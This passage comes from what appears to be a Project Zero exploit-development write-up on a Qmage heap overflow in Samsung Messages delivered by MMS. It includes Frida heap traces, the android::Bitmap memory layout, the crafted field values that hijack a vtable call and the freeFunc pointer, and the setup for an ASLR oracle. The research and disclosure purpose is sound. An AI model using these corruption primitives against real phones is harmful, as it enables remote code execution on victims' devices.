\u00d7 height \u00d7 bpp; 40 \u00d7 7 \u00d7 4 = 1120), and can corrupt the three subsequent ones marked in red. The first (104 bytes) is the Bitmap structure, the second (24 bytes) is the RLE-compressed input stream, and the third (4120 bytes) is the RLE decoder context structure. The Bitmap object sounds the most useful, and since I have already mentioned it so many times, let's finally look into it to see how it works! We'll be operating on the assumption that if we adjust the Qmage dimensions such that the pixel buffer consumes 104 bytes (e.g. 13x2), then the two allocations will likely be adjacent on Android, giving us full (linear) control over the second region.\n\n## Enter the Android Bitmap object\n\nFirst of all, it is important to note that the Bitmap object created by our test harness is not exactly the same as the one used in Android, because of a difference in the allocator objects used (SkBitmap::HeapAllocator vs GraphicsJNI's HeapAllocator). This is irrelevant for fuzzing, but makes a big difference in exploit development. In order to learn about the actual object being allocated on Android, we can use a simple [Frida](<https://frida.re/>) script that hooks the heap-related functions and logs all of their invocations with stack trace. If we attach it to the com.samsung.android.messaging process and send an MMS with the proof-of-concept image, we should see output similar to the following (I demangled some symbols and edited out argument definitions for brevity):\n\n \n\n\n[10036] calloc(1120, 1) => 0x7bc1e95900\n\n0x7cbba83684 libhwui.so!android::Bitmap::allocateHeapBitmap+0x34\n\n0x7cbba88b54 libhwui.so!android::Bitmap::allocateHeapBitmap+0x9c\n\n0x7cbd827178 libandroid_runtime.so!HeapAllocator::allocPixelRef+0x28\n\n0x7cbbd1ae80 libhwui.so!SkBitmap::tryAllocPixels+0x50\n\n0x7cbd820ae8 libandroid_runtime.so!0x187ae8\n\n0x7cbd81fc8c libandroid_runtime.so!0x186c8c\n\n0x70a04ff0 boot-framework.oat!0x2bbff0\n\n[10036] malloc(160) => 0x7b8cd569e0\n\n0x7cbddd35c4 libc++.so!operator new+0x24\n\n0x7cbe67e608\n\n[10036] malloc(24) => 0x7b8ca92580\n\n0x7cbb87baf4 libhwui.so!QuramQmageGrayIndexRleDecode+0x58\n\n0x7cbe67e608\n\n[10036] calloc(1, 4120) => 0x7bc202c000\n\n0x7cbb89fb14 libhwui.so!init_process_run_dec+0x20\n\n0x7cbb87bb34 libhwui.so!QuramQmageGrayIndexRleDecode+0x98\n\n0x7cbb8629d4 libhwui.so!PVcodecDecoderIndex+0x10c\n\n0x7cbb862850 libhwui.so!__QM_WCodec_decode+0xe0\n\n0x7cbb862540 libhwui.so!Qmage_WDecodeFrame_Low+0x194\n\n0x7cbb85e600 libhwui.so!QuramQmageDecodeFrame+0x74\n\n[...] \n \n--- \n \n \n\n\nHere, we can again see the familiar highlighted allocations before the overflow occurs. The only difference is the size of the Bitmap object: it's 104 in our loader but 160 on Android. Unfortunately Frida didn't correctly unwind the stack for the malloc call, but based on the pixel buffer stack trace, we can figure out that it takes place in [android::Bitmap::allocateHeapBitmap](<https://cs.android.com/android/platform/superproject/+/master:frameworks/base/libs/hwui/hwui/Bitmap.cpp;drc=master;l=116>):\n\n \n\n\n116: sk_sp<Bitmap> Bitmap::allocateHeapBitmap(size_t size, const SkImageInfo& info, size_t rowBytes) {\n\n117: void* addr = calloc(size, 1);\n\n118: if (!addr) {\n\n119: return nullptr;\n\n120: }\n\n121: return sk_sp<Bitmap>(new Bitmap(addr, size, info, rowBytes));\n\n122: } \n \n--- \n \n \n\n\nAs expected, there is a calloc call for allocating pixel storage, followed by the creation of the Bitmap object itself. This is how the function prologue looks in Hex-Rays:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbnGju1dy8itqWe9W1cEFCtRYXTaKmM4qcSdo8MMvPpVGA7B_67q31fx01V03BYfFXQD8XLqZtgw7GPnPhVv7UBHIUWIjUd2o29Cir2YnA4tllyW7QfS1nKxDyfXOguTjvPiAHHrwKi49-IIyWipVTWasbEjEqE-Ru_Yr_R1IknU9l3gy0dDc6bM2c/s581/image6%283%29.png>)\n\nIf we quickly change the Qmage file dimensions to 10x4, such that the pixel buffer becomes 160 (or any length between 129 and 160, which is the relevant jemalloc bin size), then we can use Frida to verify that the two Bitmap-related allocations are indeed adjacent:\n\n \n\n\n[15699] calloc(160, 1) => 0x7b88feb8c0\n\n0x7cbba83684 libhwui.so!android::Bitmap::allocateHeapBitmap+0x34\n\n0x7cbba88b54 libhwui.so!android::Bitmap::allocateHeapBitmap+0x9c\n\n0x7cbd827178 libandroid_runtime.so!HeapAllocator::allocPixelRef+0x28\n\n0x7cbbd1ae80 libhwui.so!SkBitmap::tryAllocPixels+0x50\n\n0x7cbd820ae8 libandroid_runtime.so!0x187ae8\n\n0x7cbd81fc8c libandroid_runtime.so!0x186c8c\n\n0x70a04ff0 boot-framework.oat!0x2bbff0\n\n[15699] malloc(160) => 0x7b88feb960\n\n0x7cbddd35c4 libc++.so!operator new+0x24\n\n0x7cbe582608 \n \n--- \n \n \n\n\nThe difference between 0x7b88feb8c0 and 0x7b88feb960 is 160 (0xA0), exactly the size of the first chunk, which means that we should be able to precisely overwrite the succeeding android::Bitmap object. This behavior is not 100% reliable and is hugely dependent on the preexisting heap state of the attacked app, but I found that it was reliable enough to enable successful, practical attacks. I will expand more on this in the next blog post in the series.\n\n \n\n\nIt's finally time to look at the android::Bitmap layout in memory. Currently, the class is defined in [frameworks/base/libs/hwui/hwui/Bitmap.h](<https://cs.android.com/android/platform/superproject/+/master:frameworks/base/libs/hwui/hwui/Bitmap.h;l=55?ss=android%2Fplatform%2Fsuperproject>) in the Android source tree. Some of its private fields are visible there, but their volume surely doesn't sum up to 160 bytes. This is because the code makes heavy use of C++ inheritance, so android::Bitmap inherits from SkPixelRef \u2192 SkRefCnt \u2192 SkRefCntBase. After untangling the above chain of classes and figuring out the alignment requirements for each field, I arrived at the following layout:\n\n \n\n\nstruct android::Bitmap {\n\n \n\n\n/* +0x00 */ void *vtable;\n\n \n\n\n//\n\n// class SK_API SkRefCntBase\n\n//\n\n \n\n\n/* +0x08 */ mutable std::atomic<int32_t> fRefCnt;\n\n \n\n\n//\n\n// class SK_API SkPixelRef : public SkRefCnt\n\n//\n\n \n\n\n/* +0x0C */ int fWidth;\n\n/* +0x10 */ int fHeight;\n\n/* +0x18 */ void* fPixels;\n\n/* +0x20 */ size_t fRowBytes;\n\n \n\n\n/* +0x28 */ mutable std::atomic<uint32_t> fTaggedGenID;\n\n \n\n\nstruct /* SkIDChangeListener::List */ {\n\n/* +0x30 */ std::atomic<int> fCount;\n\n/* +0x34 */ SkOnce fOSSemaphoreOnce;\n\n/* +0x38 */ OSSemaphore* fOSSemaphore;\n\n} fGenIDChangeListeners;\n\n \n\n\nstruct /* SkTDArray<SkIDChangeListener*> */ {\n\n/* +0x40 */ SkIDChangeListener* fArray;\n\n/* +0x48 */ int fReserve;\n\n/* +0x4C */ int fCount;\n\n} fListeners;\n\n \n\n\n/* +0x50 */ std::atomic<bool> fAddedToCache;\n\n \n\n\n/* +0x51 */ enum Mutability {\n\n/* +0x51 */ kMutable,\n\n/* +0x51 */ kTemporarilyImmutable,\n\n/* +0x51 */ kImmutable,\n\n/* +0x51 */ } fMutability : 8;\n\n \n\n\n//\n\n// class ANDROID_API Bitmap : public SkPixelRef\n\n//\n\n \n\n\nstruct /* SkImageInfo */ {\n\n/* +0x58 */ sk_sp<SkColorSpace> fColorSpace;\n\n/* +0x60 */ int fWidth;\n\n/* +0x64 */ int fHeight;\n\n/* +0x68 */ SkColorType fColorType;\n\n/* +0x6C */ SkAlphaType fAlphaType;\n\n} mInfo;\n\n \n\n\n/* +0x70 */ const PixelStorageType mPixelStorageType;\n\n/* +0x74 */ BitmapPalette mPalette;\n\n/* +0x78 */ uint32_t mPaletteGenerationId;\n\n/* +0x7C */ bool mHasHardwareMipMap;\n\n \n\n\nunion {\n\nstruct {\n\n/* +0x80 */ void* address;\n\n/* +0x88 */ void* context;\n\n/* +0x90 */ FreeFunc freeFunc;\n\n} external;\n\n \n\n\nstruct {\n\n/* +0x80 */ void* address;\n\n/* +0x88 */ int fd;\n\n/* +0x90 */ size_t size;\n\n} ashmem;\n\n \n\n\nstruct {\n\n/* +0x80 */ void* address;\n\n/* +0x88 */ size_t size;\n\n} heap;\n\n \n\n\nstruct {\n\n/* +0x80 */ GraphicBuffer* buffer;\n\n} hardware;\n\n} mPixelStorage;\n\n \n\n\n/* +0x98 */ sk_sp<SkImage> mImage;\n\n}; \n \n--- \n \n \n\n\nWe can immediately spot a number of interesting fields such as the vtable, pointer to backing pixel storage, bitmap dimensions, a raw function pointer (freeFunc), and pointers to other C++ objects such as SkColorSpace, GraphicBuffer and SkImage. The class clearly has the potential to supply many useful exploitation primitives. Let's go ahead and test some initial ideas to see how the code behaves in contact with a corrupted Bitmap object.\n\n## Building code execution primitives\n\nIn order to start experimenting with the heap corruption, we have to construct a test case that will be easy to adjust for different tests. For building editable binary files for testing file format parsers, I usually use [nasm](<https://www.nasm.us/>). It allows me to write code-like .asm sources file that specify the values of respective header fields with the db/dw/dd/\u2026 pseudo-instructions, may include comments, and can be quickly \"compiled\" to raw binary form. This is what I also used here, to craft the proof-of-concept Qmage file from scratch, based on the signal_sigsegv_4005d89b74_8686_6eea0420198397cc5c97563bceb04424.qmg sample and reverse engineering the codec in libhwui.so. This is where the debug symbols from old builds of libQmageDecoder.so I dug up earlier in the recon phase (as discussed in [Part 1](<https://googleprojectzero.blogspot.com/2020/07/mms-exploit-part-1-introduction-to-qmage.html>)) proved very useful.\n\n \n\n\nThe nasm source code of the Qmage file I used for experimentation can be found [here](<https://gist.github.com/j00ru/840ffb19d8db107ad58ff60013e7bf40>). It consists of the following logical parts:\n\n \n\n\n * File header specifying a QG1.2 format version (equivalent to 2.0, as explained in [Part 2](<https://googleprojectzero.blogspot.com/2020/07/mms-exploit-part-2-effective-fuzzing-qmage.html>)) and 4x10 bitmap dimensions.\n\n * A zlib-compressed color table with all 0x41's.\n\n * A required \\xFF\\x00 marker, followed by the 0x06 RLE compression type.\n\n * A RLE-compressed stream of 161-320 bytes: the first 160 to fill out the pixel buffer, followed by 1-160 bytes depending on what portion of the android::Bitmap object we intend to overwrite.\n\n * A trailing \\xFF\\x00 marker.\n\n \n\n\nNotably, the RLE compression used in Qmage is not the simple one we know from BMP files. Based on the structure of the code and some RLE-related symbols (init_process_run, process_run, init_process_run_dec, process_run_dec), we can deduce that it is probably a [MELCODE](<https://sourceforge.net/p/jpeg/svn/HEAD/tree/jpeg_ls/src/melcode.c>) scheme. For our purposes, though, it's not much more complicated. If we intend to take a data blob and wrap it with the RLE structure while actually not reducing its size (similar to how zlib compression level 0 works), it's a matter of adding a simple prefix and suffix. For example, a compressed 8-byte string \"ABCDEFGH\" takes the following form:\n\n \n\n\n00000000: 0e 00 00 00 08 00 00 00 41 42 43 44 45 46 47 48 ........ABCDEFGH\n\n00000010: aa aa .. \n \n--- \n \n \n\n\nThe little-endian 0x0000000E value indicates the length of the overall compressed stream, 0x00000008 specifies the number of runs \u2013 in this case, length of the decompressed data, then there is the raw data and finally N\u00f74 bytes 0xAA, each of which signifies four runs, one-byte each. With that out of the way, we can proceed to testing potential code execution primitives.\n\n \n\n\nThe first idea is to overwrite the vtable pointer and see if/where the code crashes. Since it's the first field in memory, we only have to write 8 bytes past the end of the pixel buffer. If we set them to AAAAAAAA and send such a file via MMS, we should see the following crash:\n\n \n\n\nFatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x41414141414151 in tid 24642 (ReferenceQueueD), pid 24624 (droid.messaging)\n\n*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***\n\n[...]\n\npid: 24624, tid: 24642, name: ReferenceQueueD >>> com.samsung.android.messaging <<<\n\nuid: 10128\n\nsignal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x41414141414151\n\nx0 0000007c2ac85e40 x1 0000007c25ae9724\n\nx2 0000007cbd81f1b8 x3 0000007c2ad2d9c0\n\nx4 000000006f2693ac x5 0000007c25ae96e4\n\nx6 0000000000000001 x7 0000000000000000\n\nx8 4141414141414141 x9 0000000000000000\n\nx10 0000000000000000 x11 0000007c3a3f4000\n\nx12 0000000000360168 x13 0000000000004000\n\nx14 0000000000000004 x15 0000000000000000\n\nx16 0000007c25ae9710 x17 0000000000000bc3\n\nx18 0000007bd31ee000 x19 0000007c2ad2d9c0\n\nx20 0000007c3034ff80 x21 0000000013126208\n\nx22 0000000013126208 x23 00000000131261a0\n\nx24 000000006f26bb50 x25 00000000131261e0\n\nx26 0000007cc0350cb0 x27 0000007c3a3f5000\n\nx28 0000007c25aea020 x29 0000007c25ae9700\n\nsp 0000007c25ae96f0 lr 00000000705bdc44\n\npc 0000007cbd81f210\n\n \n\n\nbacktrace:\n\n#00 pc 0000000000186210 /system/lib64/libandroid_runtime.so (Bitmap_destruct(android::BitmapWrapper*)+88) (BuildId: 21b5827e07da22480245498fa91e171d)\n\n[...] \n \n--- \n \n \n\n\nThere is an access to the controlled 0x4141414141414141 address in Bitmap_destruct. The code accessing the pointer is as follows:\n\n \n\n\n.text:0000000000186210 LDR X8, [X8,#0x10]\n\n.text:0000000000186214 BLR X8 \n \n--- \n \n \n\n\nAs expected, we get an arbitrary vtable call. It is a great first primitive to confirm, and it is direct evidence that everything seems to be working according to plan. Of course at this point, we don't know where any code is located (to redirect execution there), or even where our controlled data is situated (to set up our fake vtable). However, let's focus on one thing at a time. What's important is that the vtable call is controlled by the value of the consecutive fRefCnt field, so we may choose to trigger it or not by setting the reference counter to a small or large integer.\n\n \n\n\nThe second eye-catching field that can be likely abused to hijack code execution is the freeFunc function pointer in the mPixelStorage union:\n\n \n\n\nstruct {\n\n/* +0x80 */ void* address;\n\n/* +0x88 */ void* context;\n\n/* +0x90 */ FreeFunc freeFunc;\n\n} external; \n \n--- \n \n \n\n\nWe can check where the pointer is used by running a quick [cs.android.com](<http://cs.android.com/>) search. As it turns out, it is called in the Bitmap::~Bitmap [destructor](<https://cs.android.com/android/platform/superproject/+/master:frameworks/base/libs/hwui/hwui/Bitmap.cpp;l=237>):\n\n \n\n\n236: case PixelStorageType::External:\n\n237: mPixelStorage.external.freeFunc(mPixelStorage.external.address,\n\n238: mPixelStorage.external.context);\n\n239: break; \n \n--- \n \n \n\n\nIf we look at the broader context of the code, the destructor may provide the attacker with an assortment of primitives, depending on the value of the mPixelStorageType enum: arbitrary munmap+close, arbitrary free, and another arbitrary vtable call (through the mPixelStorage.hardware.buffer pointer). However, I find the freeFunc pointer the most useful, especially in a potential one-shot scenario where we try to take over control of the app with a single, specially crafted MMS message. Conveniently, the function also takes two arguments, which we may control \u2013 or in fact, must control, because reaching the freeFunc field with a linear overflow is only possible after overwriting both address and context.\n\n \n\n\nThe only problem with this technique is that the Bitmap destructor itself is called through the vtable at offset 0, the one that we have to corrupt in order to get to the deeper fields in the class. Therefore, we can only use it in our exploit if we leave the vtable pointer intact after the overflow. This, in turn, requires the knowledge of the libhwui.so base address. At this point in the story, we don't know how we could leak such information yet, but exploitation gadgets like this are worth writing down even if we don't have all the pieces of the puzzle to make use of them yet.\n\n \n\n\nTo make sure that we're reading the code right, we should confirm the behavior in practice. We can construct a Qmage sample that overwrites the full 160 bytes of the Bitmap object with a marker 0x41 byte, and then fine-tune a few specific fields for the experiment:\n\n \n\n\n * vtable set to its original value, in my case 0x7cbbdfc4e0 (0x7cbb632000 base address + 0x7ca4e0 offset)\n\n * fRefCnt set to 1\n\n * mPixelStorageType set to 0 (External)\n\n * mPixelStorage.external.address set to 0xaaaa...aaa.\n\n * mPixelStorage.external.context set to 0xbbbb...bbb.\n\n * mPixelStorage.external.freeFunc set to 0xcccc...ccc.\n\n \n\n\nIf we send it via MMS, we should see the following crash in logcat:\n\n \n\n\nFatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xcccccccccccccccc in tid 13700 (pool-5-thread-1), pid 12954 (droid.messaging)\n\n*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***\n\n[...]\n\npid: 12954, tid: 13700, name: pool-5-thread-1 >>> com.samsung.android.messaging <<<\n\nuid: 10128\n\nsignal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xcccccccccccccccc\n\nx0 aaaaaaaaaaaaaaaa x1 bbbbbbbbbbbbbbbb\n\nx2 0000000000000001 x3 0000000000000000\n\nx4 0000007c2be315d0 x5 0000007c3910cc64\n\nx6 0000000000000000 x7 00000000186f2b72\n\nx8 cccccccccccccccc x9 0000007cbbdfc4f0\n\nx10 0000000000000000 x11 0000007c3a3f4000\n\nx12 0000007c3175b20c x13 000000005f0cc80f\n\nx14 003419f64036d144 x15 000051761dd7a34a\n\nx16 0000007cbd8f3230 x17 0000007cbba98620\n\nx18 0000007bbc84e000 x19 0000007bc8ff8dc0\n\nx20 0000000000000000 x21 0000007bc9153540\n\nx22 000000000000000c x23 0000000000000000\n\nx24 0000000000000000 x25 0000000000000002\n\nx26 0000007c2be32d50 x27 0000000000000059\n\nx28 0000007cc03fa7c0 x29 0000007c2be319c0\n\nsp 0000007c2be319b0 lr 0000007cbba69f00\n\npc cccccccccccccccc\n\n \n\n\nbacktrace:\n\n#00 pc cccccccccccccccc <unknown>\n\n#01 pc 0000000000437efc /system/lib64/libhwui.so (android::Bitmap::~Bitmap()+252) (BuildId: fcab350692b134df9e8756643e9b06a0)\n\n[...] \n \n--- \n \n \n\n\nAs the crash report shows, we control the instruction pointer (PC) and two 64-bit arguments (registers X0 and X1).\n\n \n\n\nIn summary, we have two powerful primitives for hijacking the control flow at our disposal \u2013 an indirect one through a corrupted vtable pointer, and a direct one through the freeFunc function pointer (with knowledge of the libhwui.so location). This brings us much closer to the ultimate goal of executing arbitrary code. The biggest unsolved problem is now ASLR \u2013 since the locations of all important memory regions (stack, heap, shared objects) are randomized, we are completely in the dark as to where we could redirect any kind of pointer. It is time to see if the android::Bitmap object has anything to offer in terms of leaking address space information or otherwise defeating ASLR.\n\n## Building an ASLR oracle primitive\n\nIn most publicly documented exploitation scenarios, ASLR is bypassed in a highly interactive environment, where the communication between the exploit and the attacked software goes both ways. Examples include JavaScript exploits vs. web browser engines, user-mode exploits vs. OS kernels, and remote exploits vs. network daemons. In all these cases, the leaked address of some object in memory is typically received by the exploit in full, and the \"ASLR bypass\" problem boils down to enticing the target to transmit the address to the client as part of a standard data exchange.\n\n \n\n\nThe circumstances are largely different for exploits delivered via MMS. Here, all communications are realized through one or more mobile network operators, and it is (mostly) a one way protocol. As a result, a remote attacker gets very little visibility into what happens on the victim's phone, let alone being able to disclose some complex information such as a 64-bit address in one go. Notably, the same problem was already encountered by Samuel Gro\u00df when exploiting an iPhone iMessage [CVE-2019-8641](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1917>) vulnerability in 2019. In his research, Samuel managed to work around it by making use of message delivery receipts. Depending on how they are implemented, they may be abused to construct a rudimentary 1-bit communication channel going back to the attacker, potentially carrying some kind of address-related information. In case of iMessage, it conveyed the output of an ASLR oracle, indicating if a given absolute address was mapped in memory and had some specific properties. I highly recommend reading the relevant [\"Remote iPhone Exploitation Part 2: Bringing Light into the Darkness \u2013 a Remote ASLR Bypass\"](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html>) post on the Project Zero blog.\n\n \n\n\nThe mechanics of the MMS protocol will be discussed in detail in the next post, but for the sake of the storyline I will reveal that MMS also supports delivery receipts. What's more, some SMS/MMS apps such as Samsung Messages do allow the disclosure of information on whether or not the process crashed while processing the incoming message. In turn, this opens up the opportunity to leak partial information about the address space, if we can tie the crash/no crash outcome to the process memory layout. That's where the corrupted Bitmap object comes into play again.\n\n \n\n\nThe most basic idea for how to achieve that is by overwriting a pointer with an absolute address whose readability (or writability) we intend to test. In theory, if the address is unmapped, the access will crash, and if it is mapped, the read or write will succeed and the app will stay alive. In practice, things are not so simple, because the process may also crash while operating on the data read from the tested address. So for example, the vtable pointer is not a great candidate for an ASLR oracle, because keeping the process alive would not only require it to point to a readable region, but it would also need to contain the address of a function semi-compatible with the original destructor. Such an oracle would realistically hardly ever return true, which makes it of little use to us.\n\n \n\n\nLuckily, the Bitmap object also contains a few other pointers we can try to target. To start off, we can overwrite its whole area with all 0x41's and see how the process crashes, to determine which pointers are accessed, where, and how. The experiment should yield the following result:\n\n \n\n\nFatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x41414141414189 in tid 11604 (pool-5-thread-1), pid 10524 (droid.messaging)\n\n*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***\n\n[...]\n\n \n\n\nbacktrace:\n\n#00 pc 000000000047a760 /system/lib64/libhwui.so (SkColorSpace::toXYZD50(skcms_Matrix3x3*) const+8)\n\n#01 pc 000000000018df90 /system/lib64/libandroid_runtime.so (GraphicsJNI::getColorSpace(_JNIEnv*, SkColorSpace*, SkColorType)+280)\n\n#02 pc 00000000002b5788 /system/framework/arm64/boot-framework.oat (art_jni_trampoline+152)\n\n#03 pc 00000000005818bc /system/framework/arm64/boot-framework.oat (android.graphics.Bitmap.getColorSpace+76)\n\n#04 pc 000000000057faf0 /system/framework/arm64/boot-framework.oat (android.graphics.Bitmap.createBitmap+880)\n\n#05 pc 00000000005804f4 /system/framework/arm64/boot-framework.oat (android.graphics.Bitmap.createScaledBitmap+372) \n \n--- \n \n \n\n\nThe stack trace indicates that the crash occurs while accessing the color space, which is represented by the mInfo.fColorSpace pointer. It might be promising for an oracle, but let's see what happens if it's set to an address of readable memory containing only zeros:\n\n \n\n\nFatal signal 6 (SIGABRT), code -1 (SI_QUEUE) in tid 12666 (pool-5-thread-1), pid 12550 (droid.messaging)\n\n*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***\n\n[...]\n\npid: 12550, tid: 12666, name: pool-5-thread-1 >>> com.samsung.android.messaging <<<\n\nuid: 10128\n\nsignal 6 (SIGABRT), code -1 (SI_QUEUE), fault addr --------\n\nAbort message: 'No pending exception expected: java.lang.IllegalArgumentException: Parameter a or g is zero, the transfer function is constant\n\nat void android.graphics.ColorSpace$Rgb$TransferParameters.<init>(double, double, double, double, double, double, double) (ColorSpace.java:2264)\n\nat android.graphics.ColorSpace android.graphics.Bitmap.nativeComputeColorSpace(long) (Bitmap.java:-2)\n\nat android.graphics.ColorSpace android.graphics.Bitmap.getColorSpace() (Bitmap.java:2091) \n \n--- \n \n \n\n\nUnfortunately, the app crashes again, this time due to a failed color space sanity check performed by the [TransferParameters](<https://cs.android.com/android/platform/superproject/+/master:frameworks/base/graphics/java/android/graphics/ColorSpace.java;l=2247>) method. This means that that pointer is not the perfect gadget for us either, because zeros in memory are exceedingly common, and it would be preferable to distinguish unmapped memory from mapped zero'ed memory in the ASLR oracle output.\n\n \n\n\nThe advantage of the last crash report is that it gives us a very clean Java call stack, indicating exactly where the bitmap-related operations occur. It is shown below in full, up until the Messages app method that loads the bitmap delivered in MMS:\n\n \n\n\nandroid.graphics.ColorSpace$Rgb$TransferParameters.<init>\n\nandroid.graphics.Bitmap.nativeComputeColorSpace\n\nandroid.graphics.Bitmap.getColorSpace\n\nandroid.graphics.Bitmap.createBitmap\n\nandroid.graphics.Bitmap.createScaledBitmap\n\ncom.samsung.android.messaging.common.util.ImageUtil.scaleToHeight\n\ncom.samsung.android.messaging.common.util.ImageUtil.scaleToWidth\n\ncom.samsung.android.messaging.common.util.ImageUtil.loadBitmapFromStream\n\ncom.samsung.android.messaging.common.util.ImageUtil.loadBitmap\n\ncom.samsung.android.messaging.common.util.ImageUtil.loadBitmap\n\ncom.samsung.android.messaging.ui.model.l.at.a\n\n[...] \n \n--- \n \n \n\n\nWe can see that Samsung has a helper ImageUtil class for working with bitmaps, and that unfortunately some symbols in the app are obfuscated (i.e. the ui.model.l.at.a method name). Since the Messages app is not open source, we have to decompile it in order to examine the relevant code. The APK can be found in the /system/priv-app/SamsungMessages_11/SamsungMessages_11.apk file, and my decompiler of choice is [jadx](<https://github.com/skylot/jadx>).\n\n### Lifetime of a Bitmap\n\nWhen we dig into the Java code, it becomes evident that the lifetime of the Bitmap object is somewhat complex, and it may be subjected to a few transformations. Let's take it step by step:\n\n \n\n\n 1. The initial Bitmap is created through BitmapFactory.decodeStream call ImageUtil.loadBitmapFromStream: \n \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnPSlH5Wc5xIeNKakhoeCC7TncYtp2CZIL94lwTcq4oFvq1FB6-Hi0aXXjUCoaTpczOveFUBOvcIhG0gjxFMujA-H3pCYAM_VQr55e13RdI5WxDZ9ArKRDchP8GposWln0iD-DsAfEX2IitR-0o6cbABL6DPPVm7LNPuA5m8Xv6R22sZ0E9ksu6RVV/s594/image3%284%29.png>)\n\n \n\n 2. The bitmap is then subjected to scaling: \n \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjitAOMiduF04nPt1h8u-I-VwnoQ88YZon62Q_pFV-U1BJe5tBL5GByC6JUfShkIsWxmhSAgijP5rzHhnxvONUYOa2w0xZPcFYVxURmnzKUeXWGK9PLiXQHkPASdRuGiC725fvz0Sf51ya9Kuh1tUBn8KudpTOm54sxMjgB2VYBmCGqEwTStkxbJHcb/s594/image4%283%29.png>)\n\n \n\n 3. The scaling is in fact optional, and only happens if the bitmap dimensions are greater than the intended ones: \n \n\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgweEZdvIi-u-TBIKKtlqsGKnhjbhvHFjPLtr1cMgc-ETC9n3QYerubY3LKrE6lM6pOyVe-eIcz_qEliTQ0B6orT36khgl1G42GNb9iZS4bKTZYKv5D06_FigDLy_JFzX_oO3SArBQBMsiANVrt-0J47X8ahccOAL7eGZn3wI1hD9i1rjF3wDy1PtzC/s594/image5%282%29.png>)\n \n\n 4. Lastly, in the com.samsung.android.messaging.ui.model.l.at.a method, if the bitmap configuration is not ARGB_8888, it is converted to such encoding: \n \n\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHXYAurA-wS1JXoNmr_HAW9gaeZMDH1fGUQbDry2gZ1Po3yrBI5ZzLCeBNzITEFINsb_de44H048vP6jHjb5fG7pFIrnf7M1gwiO4lHRHrzgu5wdoNMKyz-abVGm-J8Esd1TMjoAjt3fybcy1SuSWcHEJh4Dhhs6FhwXZ96Zvz0MVumAqaH0ldB8Kl/s594/image1%287%29.png>)\n\n \nIn a nutshell, step 1 is where the bitmap is allocated, decoded, and overflown, and steps 2 and 3 are where the corrupted object is used, and where we should look for the desired ASLR oracle primitive.\n\n \n\n\nI spent quite some time looking at the image-related Skia code and experimenting with various values of the Bitmap fields. Eventually, I discovered a perfect technique for probing arbitrary addresses to check if they are readable. The primitive is located in step 3 (bitmap conversion to ARGB_8888), so the first order of business is to disable the scaling in step 2. Assuming that we're starting off with a blob of 160 bytes 0x41 again, we should adjust:\n\n \n\n\n * fWidth (offset 0x0c) \u2192 0x1\n\n * fHeight (offset 0x10) \u2192 0x1\n\n \n\n\nWhile we're at it, it will make our life easier later if we make the second set of dimensions sane too:\n\n \n\n\n * mInfo.fWidth (offset 0x60) \u2192 0x1\n\n * mInfo.fHeight (offset 0x64) \u2192 0x1\n\n \n\n\nThen, we need to make sure that we pass the rowBytes checks ([1](<https://cs.android.com/android/platform/superproject/+/master:external/skia/src/core/SkBitmap.cpp;l=120;drc=master>), [2](<https://cs.android.com/android/platform/superproject/+/master:external/skia/src/core/SkBitmap.cpp;l=132;drc=master>)) in SkBitmap::setInfo by setting it to a sensible value:\n\n \n\n\n * fRowBytes (offset 0x20) \u2192 0x1000\n\n \n\n\nIf mInfo.fColorSpace is non-NULL, it will be dereferenced, so we have to zero it out:\n\n \n\n\n * mInfo.fColorSpace (offset 0x58) \u2192 0x0\n\n \n\n\nThis gets us past the copying/sanity checking of the basic properties of the bitmap, and into the pixel copying logic under [android.graphics.Bitmap.copy](<https://cs.android.com/android/platform/superproject/+/master:frameworks/base/graphics/java/android/graphics/Bitmap.java;l=683?q=android.graphics.Bitmap.copy>) \u2192 [Bitmap_copy](<https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/jni/android/graphics/Bitmap.cpp;l=415?q=Bitmap_copy>) \u2192 [bitmapCopyTo](<https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/jni/android/graphics/Bitmap.cpp;drc=master;l=377?q=Bitmap_copy>) \u2192 [SkPixmap::readPixels](<https://cs.android.com/android/platform/superproject/+/master:external/skia/src/core/SkPixmap.cpp;drc=master;l=135>) \u2192 [SkConvertPixels](<https://cs.android.com/android/platform/superproject/+/master:external/skia/src/core/SkConvertPixels.cpp;drc=master;l=181>) \u2192 [swizzle_or_premul](<https://cs.android.com/android/platform/superproject/+/master:external/skia/src/core/SkConvertPixels.cpp;drc=master;l=181>). To be able to use the swizzle_or_premul conversion routine, the color type [needs](<https://cs.android.com/android/platform/superproject/+/master:external/skia/src/core/SkConvertPixels.cpp;l=41;drc=master>) to be either RGBA_8888 (4) or BGRA_8888 (6), and since it cannot be the former due to the Bitmap.Config check in Java code, there is only one option left:\n\n \n\n\n * mInfo.fColorType (offset 0x68) \u2192 0x6\n\n \n\n\nFinally, we arrive at the following loop:\n\n \n\n\n62: for (int y = 0; y < dstInfo.height(); y++) {\n\n63: SkOpts::RGBA_to_BGRA((uint32_t*)dstPixels, (const uint32_t*)srcPixels, dstInfo.width());\n\n64: dstPixels = SkTAddOffset<void>(dstPixels, dstRB);\n\n65: srcPixels = SkTAddOffset<const void>(srcPixels, srcRB);\n\n66: } \n \n--- \n \n \n\n\nThat's where the BGRA to RGBA conversion takes place. In the above snippet, the values of most variables originate from the overwritten android::Bitmap object:\n\n \n\n\n * dstInfo.height() == mInfo.height\n\n * dstInfo.width() == mInfo.width\n\n * srcPixels == fPixels\n\n * srcRB == fRowBytes\n\n \n\n\nSo in other words, for each row of the bitmap, the code copies width\u00d74 bytes from a controlled pointer, and moves the pointer by fRowBytes. This is 